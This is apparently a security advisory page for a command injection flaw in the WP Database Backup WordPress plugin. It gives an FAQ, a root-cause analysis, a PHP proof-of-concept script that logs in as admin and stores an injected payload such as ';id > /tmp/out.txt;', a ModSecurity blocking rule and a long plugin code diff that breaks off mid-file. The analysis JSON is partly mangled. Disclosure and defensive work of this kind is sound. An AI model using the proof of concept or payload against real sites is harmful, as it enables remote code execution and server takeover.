What is CVE-2026-9834?

CVE-2026-9834 is a high-severity OS command injection vulnerability in the WP Database Backup plugin for WordPress, versions 7.11 and earlier. It allows authenticated attackers with administrator-level access to execute arbitrary operating system commands on the server via the wp_db_exclude_table parameter.

How does the vulnerability work?

The plugin directly concatenates user-supplied values from the wp_db_exclude_table POST parameter into a mysqldump shell command without proper escaping. While other arguments are escaped with escapeshellarg, the exclude-table values are not, allowing shell metacharacters like ;, |, and $() to inject additional commands.

Who is affected by this vulnerability?

Any WordPress site using WP Database Backup version 7.11 or earlier is affected. The attacker must have administrator-level credentials, so the risk is highest on sites where untrusted users have admin access or where admin accounts are compromised.

How can I check if my site is vulnerable?

Check the installed version of the WP Database Backup plugin in the WordPress admin plugins page. If the version is 7.11 or lower, the site is vulnerable. You can also verify by looking for the wp_db_exclude_table option in the wp_options database table.

How do I fix the vulnerability?

Update the WP Database Backup plugin to version 7.12 or later, which applies escapeshellarg to the wp_db_exclude_table values. As a temporary mitigation, you can restrict admin access to trusted users only and consider using a web application firewall to block malicious input.

What is the CVSS score and what does it mean?

The CVSS score is 7.2 (High). This indicates significant impact on confidentiality, integrity, and availability, as successful exploitation allows full remote code execution. However, exploitation requires authenticated admin access, which reduces the attack surface.

Can the vulnerability be exploited without authentication?

No, the vulnerability requires authenticated access with administrator-level privileges. The attacker must be able to log in to the WordPress admin panel and access the plugin settings page to submit the malicious payload.

What is the proof of concept (PoC) demonstrating?

The PoC shows an attacker logging in as an admin, extracting a nonce, and submitting a malicious wp_db_exclude_table value containing a command like ;id > /tmp/out.txt;. When a backup runs, the command executes, writing output to a file, confirming OS command injection.

Is the vulnerability stored or reflected?

The injection is stored. The malicious value is saved to the WordPress options table via update_option and retrieved later with get_option during backup execution. This means the payload persists until removed or overwritten.

What is the impact of successful exploitation?

An attacker can execute arbitrary OS commands, leading to full server compromise. This includes reading or modifying files, exfiltrating the database, installing web shells, and pivoting to internal networks. The backup process often runs with high privileges, amplifying the impact.

How does the patch fix the vulnerability?

The patch applies escapeshellarg to each value in the wp_db_exclude_table array before concatenating it into the mysqldump command. This ensures that shell metacharacters are escaped and treated as literal characters, preventing command injection.

Are there any mitigations if I cannot update immediately?

If immediate update is not possible, restrict admin access to trusted users only, disable the plugin if not needed, or use a web application firewall (WAF) with rules to block shell metacharacters in the wp_db_exclude_table parameter. However, updating is the only complete fix.

Published : July 3, 2026

CVE-2026-9834: WP Database Backup <= 7.11 Authenticated (Administrator+) OS Command Injection via 'wp_db_exclude_table' Parameter PoC, Patch Analysis & Rule

CVE ID CVE-2026-9834

Plugin wp-database-backup

Severity High (CVSS 7.2)

CWE 77

Vulnerable Version 7.11

Patched Version 7.12

Disclosed June 30, 2026

Analysis Overview

{
“analysis”: “Atomic Edge analysis of CVE-2026-9834:nnThis vulnerability allows authenticated attackers with administrator-level access to execute arbitrary operating system commands on the server through the WP Database Backup plugin for WordPress, versions 7.11 and earlier. The flaw resides in the `mysqldump()` function within `includes/admin/class-wpdb-admin.php`, where the `wp_db_exclude_table` parameter is directly concatenated into a shell command without proper escaping.nnThe root cause is a failure to escape user-supplied values from the `$_POST[‘wp_db_exclude_table’]` parameter before incorporating them into the `mysqldump` shell command. The plugin uses `sanitize_text_field()` via `recursive_sanitize_text_field()` which strips HTML tags but leaves shell metacharacters like `;`, `|`, “ ` “, and `$()` intact. All other arguments in the same command—such as DB_USER, DB_PASSWORD, host, filename, and DB_NAME—are properly wrapped with `escapeshellarg()`, making the exclude-table values the sole exception. The injection is stored: malicious values submitted through the plugin settings form are persisted to the WordPress options table via `update_option(‘wp_db_exclude_table’)` and later retrieved with `get_option()` and passed unsanitized to `shell_exec()` whenever a backup operation runs.nnTo exploit this, an attacker with administrator credentials navigates to the plugin settings page (admin.php?page=wp-database-backup) and submits a malicious value for the `wp_db_exclude_table` parameter. For example, an attacker could inject a payload such as `;id > /tmp/out.txt;` or a reverse shell command. The value is stored in the database and then, when a backup event triggers—either manually via the ‘Create Backup’ button, through an auto-scheduled cron job, or via AJAX—the `wp_db_exclude_table` values are retrieved and inserted into the `mysqldump` command string. The shell_exec() function then executes the command, running the injected OS commands under the web server process privileges.nnThe patch modifies how the `wp_db_exclude_table` values are handled before being passed to the shell command. The fix applies `escapeshellarg()` to each excluded-table value, ensuring that shell metacharacters are properly escaped. This changes the behavior from directly concatenating the unsanitized user input into the command string to passing each value as a separate, escaped argument. Consequently, an attacker can no longer inject command separators or arbitrary shell metacharacters.nnIf exploited, this vulnerability grants full remote code execution on the server. An attacker could read or modify any file, exfiltrate the entire WordPress database, install web shells, pivot to internal network systems, or completely compromise the hosting environment. Since the backup process typically has high file-system permissions, the impact includes complete server takeover, data theft, and the ability to use the compromised server as a launch point for further attacks.”,
“poc_php”: “<?phpn// Atomic Edge CVE Research – Proof of Conceptn// CVE-2026-9834 – WP Database Backup $admin_username,n ‘pwd’ => $admin_password,n ‘wp-submit’ => ‘Log In’,n ‘redirect_to’ => $target_url,n ‘testcookie’ => 1n]));ncurl_setopt($ch, CURLOPT_HEADER, true);ncurl_setopt($ch, CURLOPT_COOKIEJAR, ‘/tmp/cookies.txt’);ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);n$response = curl_exec($ch);ncurl_close($ch);nn// Extract nonce from the settings pagen$ch = curl_init($target_url);ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_COOKIEFILE, ‘/tmp/cookies.txt’);n$page = curl_exec($ch);ncurl_close($ch);nn// Extract _wpnonce from the pagenpreg_match(‘/name=”_wpnonce” value=”([^”]+)”/’, $page, $matches);n$nonce = isset($matches[1]) ? $matches[1] : ”;nif (empty($nonce)) {n die(‘Failed to extract nonce’);n}nn// Step 2: Submit the malicious exclude table valuen$post_url = ‘http://wordpress.local/wp-admin/admin.php?page=wp-database-backup’;n$post_data = [n ‘_wpnonce’ => $nonce,n ‘wpsetting’ => ‘1’,n ‘wp_db_exclude_table’ => [$payload], // send as array; recursive_sanitize_text_field processes arraysn ‘wp_db_remove_on_uninstall’ => ‘1’,n ‘wp_db_remove_local_backup’ => ‘1’,n ‘local_backup_submit’ => ‘Save Settings’n];nn$ch = curl_init($post_url);ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_COOKIEFILE, ‘/tmp/cookies.txt’);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);n$response = curl_exec($ch);ncurl_close($ch);nnecho “Payload submitted. The command will execute when the next backup runs (auto or manual).\n”;necho “Check for out-of-band exfiltration or write output to a file for confirmation.\n”;nn// Cleanupnunlink(‘/tmp/cookies.txt’);n”,
modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-9834nSecRule REQUEST_URI “@streq /wp-admin/admin.php” \n “id:20269834,phase:2,deny,status:403,chain,msg:’CVE-2026-9834 – WP Database Backup OS Command Injection via wp_db_exclude_table’,severity:’CRITICAL’,tag:’CVE-2026-9834′”n SecRule ARGS_GET:page “@streq wp-database-backup” “chain”n SecRule ARGS_POST:wp_db_exclude_table “@rx (?:;|||`|$(|${|||)”n
}

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/wp-database-backup/includes/admin/class-wpdb-admin.php
+++ b/wp-database-backup/includes/admin/class-wpdb-admin.php
@@ -1,3797 +1,3829 @@
-<?php
-/**
- * Backup admin.
- *
- * @package wpdbbkp
- */
-ob_start();
-if ( ! defined( 'ABSPATH' ) ) {
-	exit; // Exit if accessed directly.
-}
-
-/**
- * Main class wpdb_admin.
- *
- * @class Wpdb_Admin
- */
-class Wpdb_Admin {
-
-	public $mysqldump_command_path;
-	public $root;
-	public $files;
-	public $mysqldump_method;
-	public $mysqldump_verified;
-
-	/**
-	 * Construct.
-	 */
-	public function __construct() {
-		add_action( 'admin_init', array( $this, 'wp_db_backup_admin_init' ) );
-		add_action( 'admin_init', array( $this, 'admin_scripts_style' ) );
-		add_action( 'admin_menu', array( $this, 'admin_menu' ), 9 );
-		add_filter( 'cron_schedules', array( $this, 'wp_db_backup_cron_schedules' ) );
-		add_action( 'wpdbbkp_db_backup_event', array( $this, 'wp_db_backup_event_process' ) );
-		add_action( 'init', array( $this, 'wp_db_backup_scheduler_activation' ) );
-		add_action( 'wpdbbkp_db_backup_completed', array( $this, 'wp_db_backup_completed_local' ), 12 );
-		add_action('admin_enqueue_scripts', array( $this, 'wpdbbkp_admin_style'));
-		add_action('admin_enqueue_scripts', array( $this, 'wpdbbkp_admin_newsletter_script'));
-		add_action('wp_ajax_wpdbbkp_send_query_message', array( $this, 'wpdbbkp_send_query_message'));
-		add_filter( 'plugin_action_links_' . plugin_basename( WP_BACKUP_PLUGIN_FILE ), array( $this, 'add_settings_plugin_action_wp' ), 10, 4 );
-		add_action( 'admin_notices', array($this, 'check_ziparchive_avalable_admin_notice' ));
-		add_action( 'admin_notices', array($this, 'wpdbbkp_cloudbackup_notice' ) );
-		add_action( 'wp_ajax_wpdbbkp_cloudbackup_dismiss_notice', array($this, 'wpdbbkp_cloudbackup_dismiss_notice' ) );
-		add_action( 'admin_init', array($this, 'admin_backup_file_download' ));
-
-	}
-
-	/**
-	 * admin Notice.
-	 */
-	public function check_ziparchive_avalable_admin_notice() {
-		if (!class_exists( 'ZipArchive' ) ) { ?>
-			<div class="notice notice-info is-dismissible"><p><strong><?php echo esc_html__('Info!', 'wpdbbkp') ?></strong> <?php echo esc_html__(' Enable Zip Extension in php.ini to work BackupForWP all functionality smoothly.', 'wpdbbkp') ?> </p></div>
-		<?php }
-	}
-
-	/**
-	 * Backup Menu.
-	 */
-	public function admin_menu() {
-		add_menu_page(
-			'Backups',
-			'Backups',
-			'manage_options',
-			'wp-database-backup',
-			array( $this, 'wp_db_backup_settings_page' ),
-			'dashicons-database-view',
-			99
-		);
-
-		add_submenu_page(
-			'wp-database-backup',
-			'Auto Scheduler',
-			'Auto Scheduler',
-			'manage_options',
-			'wp-database-backup#tab_db_schedul',
-			array($this, 'wp_db_backup_settings_page' ));
-
-		add_submenu_page(
-			'wp-database-backup',
-			'Save Backups to',
-			'Save Backups to',
-			'manage_options',
-			'wp-database-backup#tab_db_destination',
-			array($this, 'wp_db_backup_settings_page' ));
-
-			add_submenu_page(
-				'wp-database-backup',
-				'Cloud Backup',
-				'Cloud Backup',
-				'manage_options',
-				'wp-database-backup#tab_db_remotebackups',
-				array($this, 'wp_db_backup_settings_page' ));
-
-			add_submenu_page(
-				'wp-database-backup',
-				'Migration',
-				'Migration',
-				'manage_options',
-				'wp-database-backup#tab_db_migrate',
-				array($this, 'wp_db_backup_settings_page' ));
-
-		add_submenu_page(
-			'wp-database-backup',
-			'Settings',
-			'Settings',
-			'manage_options',
-			'wp-database-backup#tab_db_setting',
-			array($this, 'wp_db_backup_settings_page' ));
-		// if backup is not premium then show this
-		if ( ! is_plugin_active( 'wp-database-backup-premium/wp-database-backup-premium.php' ) ) {
-			add_submenu_page(
-				'wp-database-backup',
-				'Upgrade to Premium',
-				'Upgrade to Premium',
-				'manage_options',
-				'wp-database-backup#tab_db_upgrade',
-				array($this, 'wp_db_backup_settings_page' ));
-			}
-			add_submenu_page(
-				'wp-database-backup',
-				'Search and Replace',
-				'Search and Replace',
-				'manage_options',
-				'wp-database-backup#searchreplace',
-				array($this, 'wp_db_backup_settings_page' ));
-
-
-				add_submenu_page(
-					'wp-database-backup',
-					'Help & Support',
-					'Help & Support',
-					'manage_options',
-					'wp-database-backup#tab_db_help',
-					array($this, 'wp_db_backup_settings_page' ));
-
-	}
-
-	/**
-	 * If Checked then it will remove local backup after uploading to destination.
-	 *
-	 * @param array $args - backup details.
-	 */
-	public function wp_db_backup_completed_local( &$args ) {
-		$wp_db_remove_local_backup = get_option( 'wp_db_remove_local_backup' );
-		if ( 1 === $wp_db_remove_local_backup ) {
-			if ( file_exists( $args[1] ) ) {
-				wp_delete_file( $args[1] );// File path.
-			}
-		}
-	}
-
-	/**
-	 * Admin init.
-	 */
-	public function wp_db_backup_admin_init() {
-		//redirect to plugin page on activation
-		if (get_option('wpdbbkp_activation_redirect', false)) {
-			delete_option('wpdbbkp_activation_redirect');
-			if(!isset($_GET['activate-multi']))
-			{
-				wp_safe_redirect("admin.php?page=wp-database-backup");
-			}
-		}
-
-		// Start Fixed Vulnerability 04-08-2016 for data save in options.
-		if ( isset( $_GET['page'] ) && 'wp-database-backup' === $_GET['page'] ) {
-			if ( ! empty( $_POST ) && ! ( isset( $_POST['option_page'] ) && 'wp_db_backup_options' === $_POST['option_page'] ) ) {
-				if ( false === isset( $_REQUEST['_wpnonce'] ) || false === wp_verify_nonce( wp_unslash( $_REQUEST['_wpnonce'] ) , 'wp-database-backup' ) ) { //phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- using as nonce
-					wp_die( esc_html__('WPDB :: Invalid Access', 'wpdbbkp' ) );
-				}
-			}
-			// End Fixed Vulnerability 22-06-2016 for prevent direct download.
-			if ( is_admin() && current_user_can( 'manage_options' ) ) {
-				if ( isset( $_REQUEST['_wpnonce'] ) && wp_verify_nonce(  wp_unslash( $_REQUEST['_wpnonce'] ) , 'wp-database-backup' ) ) { //phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- using as nonce
-					if ( isset( $_POST['wpsetting_search'] ) ) {
-						if ( isset( $_POST['wp_db_backup_search_text'] ) ) {
-							update_option( 'wp_db_backup_search_text', sanitize_text_field( wp_unslash( $_POST['wp_db_backup_search_text'] ) ), false );
-						}
-
-						$nonce = wp_create_nonce( 'wp-database-backup' );
-						wp_safe_redirect( esc_url( site_url() . '/wp-admin/admin.php?page=wp-database-backup&notification=save&tab=searchreplace&_wpnonce=' . $nonce ) );
-					}
-
-					if ( isset( $_POST['wpsetting'] ) ) {
-						if ( isset( $_POST['wp_local_db_backup_count'] ) ) {
-							update_option( 'wp_local_db_backup_count', wpdbbkp_filter_data( sanitize_text_field( wp_unslash( $_POST['wp_local_db_backup_count'] ) ) ) , false);
-						}
-
-						if ( isset( $_POST['wp_db_log'] ) ) {
-							update_option( 'wp_db_log', 1 , false);
-						} else {
-							update_option( 'wp_db_log', 0 , false);
-						}
-						if ( isset( $_POST['wp_db_remove_on_uninstall'] ) ) {
-							update_option( 'wp_db_remove_on_uninstall', 1 , false);
-						} else {
-							update_option( 'wp_db_remove_on_uninstall', 0 , false);
-						}
-						if ( isset( $_POST['wp_db_remove_local_backup'] ) ) {
-							update_option( 'wp_db_remove_local_backup', 1 , false);
-						} else {
-							update_option( 'wp_db_remove_local_backup', 0 , false);
-						}
-						if ( isset( $_POST['wp_db_save_settings_in_backup'] ) ) {
-							update_option( 'wp_db_save_settings_in_backup', 1 , false);
-						} else {
-							update_option( 'wp_db_save_settings_in_backup', 0 , false);
-						}
-						if ( isset( $_POST['wp_db_backup_enable_auto_upgrade'] ) ) {
-							update_option( 'wp_db_backup_enable_auto_upgrade', 1 , false);
-						} else {
-							update_option( 'wp_db_backup_enable_auto_upgrade', 0 , false);
-						}
-
-						if ( isset( $_POST['wp_db_exclude_table'] ) ) {
-							update_option( 'wp_db_exclude_table', $this->recursive_sanitize_text_field( wp_unslash( $_POST['wp_db_exclude_table'] ) ) , false); // phpcs:ignore
-						} else {
-							update_option( 'wp_db_exclude_table', '', false );
-						}
-						$nonce = wp_create_nonce( 'wp-database-backup' );
-						wp_safe_redirect( site_url() . '/wp-admin/admin.php?page=wp-database-backup&notification=save&_wpnonce=' . $nonce );
-					}
-
-					if ( true === isset( $_POST['wp_db_local_backup_path'] ) ) {
-						update_option( 'wp_db_local_backup_path', wpdbbkp_filter_data( sanitize_text_field( wp_unslash( $_POST['wp_db_local_backup_path'] ) ) ) );
-					}
-
-					if ( isset( $_POST['wp_db_backup_email_id'] ) ) {
-						update_option( 'wp_db_backup_email_id', wpdbbkp_filter_data( sanitize_email( wp_unslash( $_POST['wp_db_backup_email_id'] ) ) ) , false);
-					}
-
-					if ( isset( $_POST['wp_db_backup_email_attachment'] ) ) {
-						$email_attachment = sanitize_text_field( wp_unslash( $_POST['wp_db_backup_email_attachment'] ) , false);
-						update_option( 'wp_db_backup_email_attachment', $email_attachment );
-					}
-					if ( isset( $_POST['local_backup_submit'] ) && 'Save Settings' === $_POST['local_backup_submit'] ) {
-						if ( true === isset( $_POST['wp_db_local_backup'] ) ) {
-							update_option( 'wp_db_local_backup', 1 , false);
-						} else {
-							update_option( 'wp_db_local_backup', 0 , false);
-						}
-					}
-
-					if ( isset( $_POST['wp_db_backup_options'] ) ) {
-						$option_to_save = [];
-						if ( isset( $_POST['wp_db_backup_options']['enable_autobackups'] ) ) {
-							$option_to_save['enable_autobackups'] = sanitize_text_field( wp_unslash( $_POST['wp_db_backup_options']['enable_autobackups'] ) );
-						}
-						if ( isset( $_POST['wp_db_backup_options']['autobackup_type'] ) ) {
-							$option_to_save['autobackup_type'] = sanitize_text_field( wp_unslash( $_POST['wp_db_backup_options']['autobackup_type'] ) );
-						}
-						if ( isset( $_POST['wp_db_backup_options']['autobackup_frequency'] ) ) {
-							$option_to_save['autobackup_frequency'] = sanitize_text_field( wp_unslash( $_POST['wp_db_backup_options']['autobackup_frequency'] ) );
-						}
-						if ( isset( $_POST['wp_db_backup_options']['autobackup_full_days'] ) ) {
-							$option_to_save['autobackup_full_days'] = sanitize_text_field( wp_unslash( $_POST['wp_db_backup_options']['autobackup_full_days'] ) );
-						}
-						if ( isset( $_POST['wp_db_backup_options']['autobackup_full_time'] ) ) {
-							$option_to_save['autobackup_full_time'] = sanitize_text_field( wp_unslash( $_POST['wp_db_backup_options']['autobackup_full_time'] ) );
-						}
-						if ( isset( $_POST['wp_db_backup_options']['autobackup_full_date'] ) ) {
-							$option_to_save['autobackup_full_date'] = sanitize_text_field( wp_unslash( $_POST['wp_db_backup_options']['autobackup_full_date'] ) );
-						}
-						if(!empty($option_to_save)) {
-							if(update_option( 'wp_db_backup_options', $option_to_save, false)){
-								wp_clear_scheduled_hook( 'wpdbbkp_db_backup_event' );
-								wp_clear_scheduled_hook( 'wpdbkup_event_fullbackup' );
-							}
-						}
-
-					}
-
-
-					if ( isset( $_POST['featureSubmit'] ) && 'Save Settings' === $_POST['featureSubmit'] ) {
-						if ( isset( $_POST['enable_anonymization'] ) ) {
-						  update_option( 'bkpforwp_enable_anonymization', 1 );
-						} else {
-						  update_option( 'bkpforwp_enable_anonymization', 0 );
-						}
-
-						if ( isset( $_POST['enable_backup_encryption'] ) ) {
-						  update_option( 'bkpforwp_enable_backup_encryption', 1 );
-						} else {
-						  update_option( 'bkpforwp_enable_backup_encryption', 0 );
-						}
-						if ( isset( $_POST['enable_exact_backup_time'] ) ) {
-						  update_option( 'bkpforwp_enable_exact_backup_time', 1 );
-						} else {
-						  update_option( 'bkpforwp_enable_exact_backup_time', 0 );
-						}
-
-						if ( isset( $_POST['anonymization_type'] ) ) {
-						  update_option( 'bkpforwp_anonymization_type', wpdbbkp_filter_data( sanitize_text_field( wp_unslash( $_POST['anonymization_type'] ) ) ) );
-
-						}
-
-						if ( isset( $_POST['anonymization_pass'] )) {
-						  update_option( 'bkpforwp_anonymization_pass', wpdbbkp_filter_data( sanitize_text_field( wp_unslash($_POST['anonymization_pass'] ) ) ) );
-
-						}
-
-						if ( isset( $_POST['backup_encryption_pass'] )) {
-						  update_option( 'bkpforwp_backup_encryption_pass', wpdbbkp_filter_data( sanitize_text_field( wp_unslash($_POST['backup_encryption_pass'] ) ) ) );
-
-						}
-					  }
-
-				}
-				$wp_db_backup_destination_email = get_option( 'wp_db_backup_destination_Email' , false);
-
-				if ( isset( $_GET['page'] ) && 'wp-database-backup' === $_GET['page'] && isset( $_GET['action'] ) && 'unlink' === $_GET['action'] ) {
-					// Specify the target directory and add forward slash.
-					$dir = plugin_dir_path( __FILE__ ) . 'Destination/Dropbox/tokens/';
-
-					// Open the directory.
-					$dir_handle = opendir( $dir );
-					// Loop over all of the files in the folder.
-					$file = readdir( $dir_handle );
-					while ( $file ) {
-						// If $file is NOT a directory remove it.
-						if ( ! is_dir( $file ) ) {
-							wp_delete_file( $dir . $file );
-						}
-					}
-					// Close the directory.
-					closedir( $dir_handle );
-					wp_safe_redirect( site_url() . '/wp-admin/admin.php?page=wp-database-backup' );
-				}
-				$nonce = isset( $_REQUEST['_wpnonce'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['_wpnonce'] ) ) : '';
-				if ( isset( $_REQUEST['_wpnonce'] ) && wp_verify_nonce( $nonce, 'wp-database-backup' ) ) {
-					if ( isset( $_GET['action'] ) && current_user_can( 'manage_options' ) ) {
-						switch ( (string) $_GET['action'] ) {
-							case 'createdbbackup':
-								$this->wp_db_backup_event_process();
-								wp_safe_redirect( site_url() . '/wp-admin/admin.php?page=wp-database-backup&notification=create&_wpnonce=' . $nonce );
-								break;
-							case 'removebackup':
-								if ( true === isset( $_GET['index'] ) ) {
-									$index      = (int) $_GET['index'];
-									$options    = get_option( 'wp_db_backup_backups' );
-									$newoptions = array();
-									$count      = 0;
-									if(!empty($options) && is_array($options)){
-										foreach ( $options as $option ) {
-											if ( $count !== $index ) {
-												$newoptions[] = $option;
-											}
-											$count++;
-										}
-									}
-
-									$upload_dir = wp_upload_dir();
-									$actual_working_directory = getcwd();
-									$file_directory = $upload_dir['basedir'].'/db-backup/';
-									/*
-									Fix for when you try to delete a file thats in a folder
-									higher in the hierarchy to your working directory */
-									chdir($file_directory);
-									if ( isset($options[ $index ]['filename']) && file_exists( $options[ $index ]['filename'] ) ) {
-										wp_delete_file( $options[ $index ]['filename'] );
-									}
-									if(isset($options[ $index ]['filename'])){
-										$file_sql = explode( '.', $options[ $index ]['filename'] );
-										if ( isset($file_sql[0]) && file_exists( $file_sql[0] . '.sql' ) ) {
-											wp_delete_file( $file_sql[0] . '.sql' );
-										}
-									}
-
-									chdir($actual_working_directory);
-									$newoptions = wpdbbkp_filter_unique_filenames( $newoptions );
-									update_option( 'wp_db_backup_backups', $newoptions , false);
-									$nonce = wp_create_nonce( 'wp-database-backup' );
-									wp_safe_redirect( site_url() . '/wp-admin/admin.php?page=wp-database-backup&notification=delete&_wpnonce=' . $nonce );
-									exit;
-
-								}
-								break;
-								case 'removeallbackup':
-
-										$upload_dir = wp_upload_dir();
-										$actual_working_directory = getcwd();
-										$file_directory = $upload_dir['basedir'];
-										global $wpdb;
-										/*
-										Fix for when you try to delete a file thats in a folder
-										higher in the hierarchy to your working directory
-										*/
-										chdir($file_directory);
-										$files = glob($file_directory.'/db-backup'.'/*');
-
-										// Deleting all the files in the list
-										if(!empty($files)){
-											foreach($files as $file) {
-												if(is_file($file)){
-													wp_delete_file($file);
-												}
-											}
-										}
-										chdir($actual_working_directory);
-										update_option( 'wp_db_backup_backups', array() , false);
-										$nonce = wp_create_nonce( 'wp-database-backup' );
-										$table_name = $wpdb->prefix . 'wpdbbkp_processed_files';
-										$wpdb->query( "TRUNCATE TABLE $table_name" ); // phpcs:ignore
-										wp_safe_redirect( site_url() . '/wp-admin/admin.php?page=wp-database-backup&notification=deleteall&_wpnonce=' . $nonce );
-										exit;
-
-
-									break;
-							case 'clear_temp_db_backup_file':
-								$options           = get_option( 'wp_db_backup_backups' );
-								$newoptions        = array();
-								$backup_check_list = array( '.htaccess', 'index.php' );
-								$delete_message    = 'WPDB : Deleted Files:';
-								if(!empty($options) && is_array($options)){
-									foreach ( $options as $option ) {
-										if(!is_array($option)){
-											continue;
-										}
-										$backup_check_list[] = $option['filename'];
-									}
-								}
-								$path_info         = wp_upload_dir();
-								$wp_db_backup_path = $path_info['basedir'] . '/db-backup';
-
-								// Open a directory, and read its contents.
-								if ( is_dir( $wp_db_backup_path ) ) {
-									$dh = opendir( $wp_db_backup_path );
-									if ( $dh ) {
-										while ( false !== ($file = readdir( $dh )) ) {
-											if ( ! ( in_array( $file, $backup_check_list, true ) ) ) {
-												if ( file_exists( $wp_db_backup_path . '/' . $file ) ) {
-													wp_delete_file( $wp_db_backup_path . '/' . $file );
-												}
-												$delete_message .= ' ' . $file;
-											}
-										}
-										closedir( $dh );
-									}
-								}
-								wp_safe_redirect( site_url() . '/wp-admin/admin.php?page=wp-database-backup&notification=clear_temp_db_backup_file&_wpnonce=' . $nonce );
-								exit;
-								break;
-							case 'restorebackup':
-								$index      = isset($_GET['index'])?(int) $_GET['index']:0;
-								$options    = get_option( 'wp_db_backup_backups' );
-								$restore_limit = get_option( 'wp_db_restore_limit');
-								$newoptions = array();
-								$count      = 0;
-								if(!empty($options) && is_array($options)){
-									foreach ( $options as $option ) {
-										if ( $count !== $index ) {
-											$newoptions[] = $option;
-										}
-										$count++;
-									}
-								}
-								if ( isset( $options[ $index ]['restore_limit'] ) && $options[ $index ]['restore_limit']==1) {
-									include_once ABSPATH . 'wp-admin/includes/plugin.php';
-									if ( !is_plugin_active( 'wp-database-backup-pro/wp-database-backup-pro.php' ) ) {
-										wp_safe_redirect( site_url() . '/wp-admin/admin.php?page=wp-database-backup&notification=restore_limit&_wpnonce=' . $nonce );
-									}
-								}
-								if(!empty($options[ $index ]['restore_limit'])){
-									$options[ $index ]['restore_limit']=1;
-								}
-
-								if ( isset( $options[ $index ]['sqlfile'] ) ) { // Added for extract zip file V.3.3.0.
-									$database_file = ( $options[ $index ]['sqlfile'] );
-								} else {
-									$database_file = isset($options[ $index ]['dir']) ? $options[ $index ]['dir'] : '';
-									$file_sql      = explode( '.', $database_file );
-									if(isset($file_sql[0])){
-										$database_file = ( $file_sql[0] . '.sql' );
-									}
-
-								}
-								$database_name     = $this->wp_backup_get_config_db_name();
-								$database_user     = $this->wp_backup_get_config_data( 'DB_USER' );
-								$datadase_password = $this->wp_backup_get_config_data( 'DB_PASSWORD' );
-								$database_host     = $this->wp_backup_get_config_data( 'DB_HOST' );
-								$path_info         = wp_upload_dir();
-								// Added for extract zip file V.3.3.0.
-								$ext_path_info     = $path_info['basedir'] . '/db-backup';
-								$database_zip_file = $options[ $index ]['dir'];
-
-								if ( class_exists( 'ZipArchive' ) ) {
-									$zip = new ZipArchive();
-									if ( $zip->open( $database_zip_file ) === true ) {
-										$zip->extractTo( $ext_path_info );
-										$zip->close();
-									}
-								} else {
-									require_once ABSPATH . 'wp-admin/includes/class-pclzip.php';
-									$archive = new PclZip( $database_zip_file );
-									$dir     = $path_info['basedir'] . '/db-backup/';
-
-									if ( ! $archive->extract( PCLZIP_OPT_PATH, $dir ) ) {
-										wp_die( esc_html__('Unable to extract zip file. Please check that zlib php extension is enabled.','wpdbbkp').'<button onclick="history.go(-1);">'.esc_html__('Go Back','wpdbbkp').'</button>', esc_html__('ZIP Error','wpdbbkp') );
-									}
-								}
-
-								// End for extract zip file V.3.3.0.
-								set_time_limit( 0 ); // phpcs:ignore -- needed for long running process
-								ignore_user_abort(true);
-								if ('' !== trim($database_name) && '' !== trim($database_user) && '' !== trim($database_host)) {
-									// Ensure we use WP's global DB connection.
-									global $wpdb;
-									if ( ! isset( $wpdb ) || ! is_object( $wpdb ) ) {
-										$wpdb = isset( $GLOBALS['wpdb'] ) ? $GLOBALS['wpdb'] : null;
-									}
-									if ( ! is_object( $wpdb ) ) {
-										wp_die(
-											esc_html__( 'Database connection is not available. Please reload the page and try again.', 'wpdbbkp' ),
-											esc_html__( 'Database Error', 'wpdbbkp' )
-										);
-									}
-
-									$wpdb->db_connect();
-									$wpdb->select($database_name);
-
-									//phpcs:ignore -- Check if database exists
-									$db_exists = $wpdb->get_var($wpdb->prepare(
-										"SELECT SCHEMA_NAME FROM information_schema.SCHEMATA WHERE SCHEMA_NAME = %s",
-										$database_name
-									));
-
-									if (!$db_exists) {
-										//phpcs:ignore -- Create DB if it doesn't exist
-										$wpdb->query( 'CREATE DATABASE IF NOT EXISTS `' . esc_sql( $database_name ) . '`' );
-										$wpdb->select($database_name);
-									}
-									//phpcs:ignore -- Show tables from database
-									$tables = $wpdb->get_col( 'SHOW TABLES FROM `' . esc_sql( $database_name ) . '`' );
-
-
-								if (!empty($tables)) {
-										foreach ($tables as $table_name) {
-												//phpcs:ignore -- delete tables before restore
-												$wpdb->query( 'DROP TABLE IF EXISTS `' . esc_sql( $table_name ) . '`' );
-										}
-								}
-
-									// Restore database content
-									if (file_exists($database_file)) {
-										if ( ! function_exists( 'WP_Filesystem' ) ) {
-												require_once ABSPATH . '/wp-admin/includes/file.php';
-											}
-
-											WP_Filesystem();
-											if ( $wp_filesystem ) {
-												$sql_file = $wp_filesystem->get_contents( $database_file );
-												if ( $sql_file !== false ) {
-														$sql_queries = explode(";n", $sql_file);
-														//phpcs:ignore -- Set sql_mode to empty
-														$wpdb->query("SET sql_mode = ''");
-
-														foreach ($sql_queries as $query) {
-															$query = apply_filters('wpdbbkp_sql_query_restore', $query);
-															if (!empty(trim($query))) {
-
-																/* Since $query is a dynqmic sql query from the backup file, we can't use $wpdb->prepare
-																* as we don't know the number / types of arguments in the query. So, we are using $wpdb->query
-																* directly to execute the query.*/
-															    //phpcs:ignore
-																$wpdb->query($query);
-															}
-														}
-
-												}
-											}
-									}
-								}
-
-								if ( isset( $options[ $index ]['sqlfile'] ) && file_exists( $options[ $index ]['sqlfile'] ) ) { // Added for extract zip file V.3.3.0.
-									if ( file_exists( $options[ $index ]['sqlfile'] ) ) {
-										wp_delete_file( $options[ $index ]['sqlfile'] );
-									}
-								} else {
-									$database_file = isset($options[ $index ]['dir'] )?$options[ $index ]['dir']:'';
-									if(!empty($database_file)){
-										$file_sql      = explode( '.', $database_file );
-										if(isset($file_sql[0])){
-											$database_file = ( $file_sql[0] . '.sql' );
-												if ( file_exists( $database_file ) ) {
